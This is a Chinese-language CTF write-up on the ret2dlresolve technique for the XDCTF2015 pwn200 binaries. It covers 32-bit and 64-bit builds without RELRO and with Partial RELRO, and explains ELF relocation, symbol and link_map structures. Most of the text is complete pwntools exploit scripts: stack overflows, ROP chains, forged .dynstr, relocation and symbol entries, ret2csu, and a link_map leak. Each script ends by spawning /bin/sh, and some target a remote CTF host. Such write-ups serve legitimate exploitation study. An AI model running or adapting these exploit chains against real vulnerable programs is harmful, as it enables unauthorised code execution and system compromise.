ret2dlresolve

ret2dlresolve

贴一下hollk师傅博客里的一张图片 https://blog.csdn.net/qq_41202237/article/details/107378159?spm=1001.2014.3001.5501

image-20230711215322463

_dl_runtime_resolve(link_map_obj, reloc_index),第一个linkmap即为got表第二项,linkmap可以找到**.dynamic的位置,第二个参数为即为plt里push的数,为要找的符号的重定位项在rel.plt**表里偏移,rel.plt里是Elf32_Rel结构体

https://www.cnblogs.com/ZIKH26/articles/15944406.html

32位

NO-RELRO

grxer@Ubuntu22 ~/s/c/p/s/x/r/2/3/no-relro> checksec main_no_relro_32
[*] '/mnt/hgfs/share/ctfwiki/pwn/stack_overflow/x86/ret2dlresolve/2015-xdctf-pwn200/32/no-relro/main_no_relro_32'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

看了下最简单利用就是vuln函数的溢出和write泄露libc基地址,然后用onegadget拿shell

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./main_no_relro_32'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
write=elf.plt[b"write"]
payload=b'a'*0x6c+p32(0x666)+p32(write)+p32(0x80485AE)+p32(1)+p32(elf.got[b'write'])+p32(0x10)
sla(b'XDCTF2015~!\n',payload)
write_ad=u32(r(4))
p('write_ad',write_ad)
libc=LibcSearcher('write',write_ad)
base=write_ad-libc.dump('write')
p('base',base)
gadget=base+0x172841
db('b *0x804851A')
payload=b'a'*0x6c+p32(0x666)+p32(gadget)
# sla(b'XDCTF2015~!\n',payload)
s(payload)
io.interactive()

动态链接器会从.dynamic 节中索引到各个目标节,_dl_runtime_resolve延迟解析符号的地址时,是依据符号的名字进行解析的

我们可以改掉.dynstr来实现控制

.dynamic

/* Dynamic section entry.  */

typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;

image-20230708121848040

可以用readelf -S找到dynamic节位置,然后根据dynamic的Addr去ida里看,ida已经帮我们分析好了,不知道各位师傅还有没有更方便的方法,求告知

readelf -S main_no_relro_32
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[21] .dynamic DYNAMIC 080497c4 0007c4 0000e8 08 WA 6 0 4

image-20230708122318087

伪造一个把read改为system的dynstr节来替换原来的节,read函数已经被解析放到了got里(jmp *got),不会走_dl_runtime_resolve,所以要返回到他plt的第二条指令

from pwn import *
# context.log_level="debug"
context.arch="i386"
p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")
p.recvuntil(b'Welcome to XDCTF2015~!\n')
gdb.attach(p,'b *0x08048376')
offset = 112
rop.raw(offset*b'a')
rop.read(0,0x08049804+4,4) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()#get the data of .dynstr section
print(b'*'*10)
print(dynstr)
dynstr = dynstr.replace(b"read",b"system")#replace the section data
print(b'*'*10)
print(dynstr)
rop.read(0,0x080498E0,len((dynstr))) # construct a fake dynstr section
rop.read(0,0x080498E0+0x100,len(b"/bin/sh\x00")) # read /bin/sh\x00
rop.raw(0x08048376) # the second instruction of read@plt
rop.raw(0xdeadbeef)
rop.raw(0x080498E0+0x100)
# print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
p.send(rop.chain())
p.send(p32(0x080498E0))
p.send(dynstr)
# p.send("/bin/sh\x00")
p.interactive()

Partial RELRO

grxer@Ubuntu22 ~/s/c/p/s/x/r/2/3/partial-relro> checksec main_partial_relro_32
[*] '/mnt/hgfs/share/ctfwiki/pwn/stack_overflow/x86/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

.dynamic 节将会变成只读的

思路就是rop到_dl_runtime_resolve(plt0)函数配合伪造的rel.plt里的Elf32_Rel,Elf32_Rel里的r_info>>8指向伪造的.dynsym符号表Elf32_Sym的下标,Elf32_Sym里的st_name指向伪造的dynstr字符串表的偏移来调用任意函数

typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;

r_offset表示要修正的位置第一个字节相对于这个段的偏移

r_info 低8位表示要重定位类型,高24位是符号在符号表里的下标

typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386')
pwnfile='./main_partial_relro_32'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
# db('b *0x804853A')
io.recvuntil('Welcome to XDCTF2015~!\n')
#stack mrigrate to new_stack栈迁移
bss_ad=elf.bss()
new_stack=bss_ad+0x800+int((0x80487c4-0x080487A8)/2)*0x10
p('new_stack',new_stack)
padding=b'a'*112
rop.raw(padding)
rop.read(0,new_stack,100)
rop.migrate(new_stack)
sl(rop.chain())

#new_stack rop data
rop = ROP(pwnfile)
#get the .plt address
plt0=elf.get_section_by_name('.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
p('dynsym',dynsym)
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
p('dynstr',dynstr)
p('plt',plt0)
# get the data of .rel.plt
rel_plt_ad=elf.get_section_by_name('.rel.plt').header.sh_addr
p("rel_plt_ad",rel_plt_ad)
rel_plt_data=elf.get_section_by_name('.rel.plt').data()
write_got=elf.got['write']
#write_relplt_offset is the seonde parameter of _dl_runtime_resolve
write_relplt_offset=rel_plt_data.find(p32(write_got))
p('write_relplt_offset',write_relplt_offset)
#在新栈的30处伪造Elf32_Rel
fake_write_relplt_offset=new_stack+30-rel_plt_ad
#在新栈的40处伪造Elf32_Sym,但是由于Elf32_Sym需要16字节所以要16字节对齐,后面需要补个偏差值align
fake_sym_addr=new_stack+40
align=0x10-(fake_sym_addr-dynsym)&0xf
#next rop the padding should be 40+align
fake_sym_addr=fake_sym_addr+align
#伪造符号表Elf32_Sym在dynsym的下标
index_dynsym=int((fake_sym_addr-dynsym)/16)
#高24位是符号在符号表里的下标,低8位为重定位类型
r_info=(index_dynsym<<8)|7
fake_write_reloc=flat([write_got,r_info])
gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr
#在新栈的70处写入字符串system伪造字符串表
fake_write_str_ad=new_stack+70
#Elf32_Sym.st_name的距离dynstr的偏移
write_str_offset=fake_write_str_ad-dynstr
fake_write_sym = flat([write_str_offset, 0, 0, 0x12])
print("ndx_addr: %s" % hex(gnu_version_addr+index_dynsym*2))
rop.raw(plt0)
rop.raw(fake_write_relplt_offset)
# fake ret of write
rop.raw(b'a'*4)
#parameter of system
rop.raw(new_stack + 80)
sh = b"/bin/sh\x00"
write_str=b'system\x00'
# print(len(rop.chain()))
rop.raw(b'a'*(30-len(rop.chain())))
#fake_write_reloc
rop.raw(fake_write_reloc)
# rop.raw(rel_plt_data[write_relplt_offset:write_relplt_offset+8])
# print(rel_plt_data[write_relplt_offset:write_relplt_offset+8])
rop.raw(b'a'*(40+align-len(rop.chain())))
rop.raw(fake_write_sym)
rop.raw(b'a'*(70-len(rop.chain())))
rop.raw(write_str)
rop.raw(b'a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw(b'a' * (100 - len(rop.chain())))
# print(rop.dump())
# sleep(2)
sl(rop.chain())
io.interactive()

rop.migrate(new_stack)的结果

pop ebp; ret的gadget
new_stack-size_t
leave; ret的gadget

最终会在rsp为new_stack时进行ret,所以需要事先在new_stack布置好要rop的内容

pwntools工具

from pwn import *
context.binary = elf = ELF("./main_partial_relro_32")
rop = ROP(context.binary)
db = lambda x : gdb.attach(io,x)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr,0x100)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
io = process("./main_partial_relro_32")
db('b *0x804853A')
io.recvuntil("Welcome to XDCTF2015~!\n")
padding=b'a'*112
payload=padding+raw_rop
io.sendline(payload)
sleep(1)
io.sendline(dlresolve.payload)
io.interactive()

dlresolve.data_addr一般就是我们伪造ELFdyn sys str的bss地址

dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"],data_addr=来指定伪造地址)

print(rop.dump())

[*] Loaded 10 cached gadgets for './main_partial_relro_32'
0x0000: 0x8048390 read(0, 0x804ae00, 0x400)
0x0004: 0x804836a <adjust @0x14> add esp, 8; pop ebx; ret
0x0008: 0x0 arg0
0x000c: 0x804ae00 arg1
0x0010: 0x400 arg2
0x0014: 0x8048370 [plt_init] system(0x804ae24)
0x0018: 0x2af8 [dlresolve index]
0x001c: b'haaa' <system return address>
0x0020: 0x804ae24 system arg0

64位

NO-RELRO

只能用ret2csu来控制rdx

.text:0000000000400750 4C 89 FA                      mov     rdx, r15
.text:0000000000400753 4C 89 F6 mov rsi, r14
.text:0000000000400756 44 89 EF mov edi, r13d
.text:0000000000400759 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 6008F8h)[r12+rbx*8]
.text:0000000000400759
.text:000000000040075D 48 83 C3 01 add rbx, 1
.text:0000000000400761 48 39 DD cmp rbp, rbx
.text:0000000000400764 75 EA jnz short loc_400750
.text:0000000000400764
.text:0000000000400766
.text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400766 48 83 C4 08 add rsp, 8
.text:000000000040076A 5B pop rbx
.text:000000000040076B 5D pop rbp
.text:000000000040076C 41 5C pop r12
.text:000000000040076E 41 5D pop r13
.text:0000000000400770 41 5E pop r14
.text:0000000000400772 41 5F pop r15
.text:0000000000400774 C3 retn

和32位一样,伪造一个将read改为system的dynstr到bss,将dynmic的dynstr地址改为伪造到bss的dynstr,将参数rdi覆盖为binsh,rop到read的plt第二条指令触发_dl_runtime_resolve,执行system

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./main_no_relro_64'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('node4.buuoj.cn','28808')
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
csu_front_addr = 0x400750
csu_end_addr = 0x40076A
def ret2csu(func,a1,a2,a3,return_ad):
rbx=0
rbp=1
r12=func
r13=a1
r14=a2
r15=a3
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload+=b'a' * 0x38+p64(return_ad)
return payload

db('b *0x040063C')
io.recvuntil('Welcome to XDCTF2015~!\n')
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
#stack mrigrate to new_stack栈迁移
bss_ad=elf.bss()+0x200
read_got=elf.got['read']
start=elf.symbols['_start']
padding=b'a'*120
rop.raw(padding)
rop.raw(ret2csu(read_got,0,bss_ad,len(dynstr+b'\x00/bin/sh\x00'),start))
s(rop.chain().ljust(0x100,b'a'))
s(dynstr+b'\x00/bin/sh\x00')
sleep(1)
dynmic_dynstr=0x600988+8
poprdi=0x0400773
payload=padding+ret2csu(read_got,0,dynmic_dynstr,8,start)
io.recvuntil('Welcome to XDCTF2015~!\n')
s(payload.ljust(0x100,b'a'))
s(p64(bss_ad))
io.recvuntil('Welcome to XDCTF2015~!\n')
read_plt=0x400516
padding=b'd'*120
sleep(1)
ret=0x00000000004004c6
payload=padding+p64(poprdi)+p64(bss_ad+len(dynstr)+1)+p64(ret)+p64(read_plt)
s(payload)
# # b()
io.interactive()

Partial RELRO

和32为基本上差不多,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。

image-20230724174219575

Versym: 0x4003f6指向版本号数组,符号表索引,同时为版本号索引 导致,version index addr指向不存在内存,导致解析时错误

// 获取符号的版本信息, dl_fixup 的代码
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)//l为link_map结构体
{
const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
struct link_map {
Elf64_Addr l_addr;

char *l_name;

Elf64_Dyn *l_ld;

struct link_map *l_next;

struct link_map *l_prev;

struct link_map *l_real;

Lmid_t l_ns;

struct libname_list *l_libname;

Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息
...

size_t l_tls_firstbyte_offset;

ptrdiff_t l_tls_offset;

size_t l_tls_modid;

size_t l_tls_dtor_count;

Elf64_Addr l_relro_addr;

size_t l_relro_size;

unsigned long long l_serial;

struct auditstate l_audit[];
}

所以我们需要把linkmap的l_info[VERSYMIDX(DT_VERSYM)]写为0来绕过执行

linkmap为got表的第二项,l_info[VERSYMIDX(DT_VERSYM)]为linkmap偏移0x1c8处

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./main_partial_relro_64'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('node4.buuoj.cn','28808')
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
db('b *0x40066C')
csu_front_addr = 0x00400780
csu_end_addr = 0x0040079A
def ret2csu(func,a1,a2,a3,return_ad):
rbx=0
rbp=1
r12=func
r13=a1
r14=a2
r15=a3
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload+=b'a' * 0x38+p64(return_ad)
return payload


rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
print(hex(rel_plt))
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
read_got=elf.got['read']
write_got=elf.got['write']
rop.ret2dlresolve(dlresolve)
padding=b'd'*120
print(rop.dump())
p('dlresolve.data_addr',dlresolve.data_addr)
start=elf.symbols['_start']
got_0=0x0601008
#泄露linkmap导致
io.recvuntil('Welcome to XDCTF2015~!\n')
payload=padding+ret2csu(write_got,1,got_0,8,start)
s(payload.ljust(0x100,b'a'))
link_map_addr =uu64(r(6))
p('link_map_addr',link_map_addr)
#linkmap->l_info[VERSYMIDX(DT_VERSYM)]即linkmap偏移0x1c8处写入0
payload=padding+ret2csu(read_got,0,link_map_addr+0x1c8,8,start)
io.recvuntil('Welcome to XDCTF2015~!\n')
s(payload.ljust(0x100,b'a'))
sleep(1)
s(p64(0))


io.recvuntil('Welcome to XDCTF2015~!\n')
payload=padding+ret2csu(read_got,0,dlresolve.data_addr,0x100,start)
s(payload.ljust(0x100,b'a'))
sleep(1)
io.sendline(dlresolve.payload)

io.recvuntil('Welcome to XDCTF2015~!\n')
payload=padding+rop.chain()
s(payload)
io.interactive()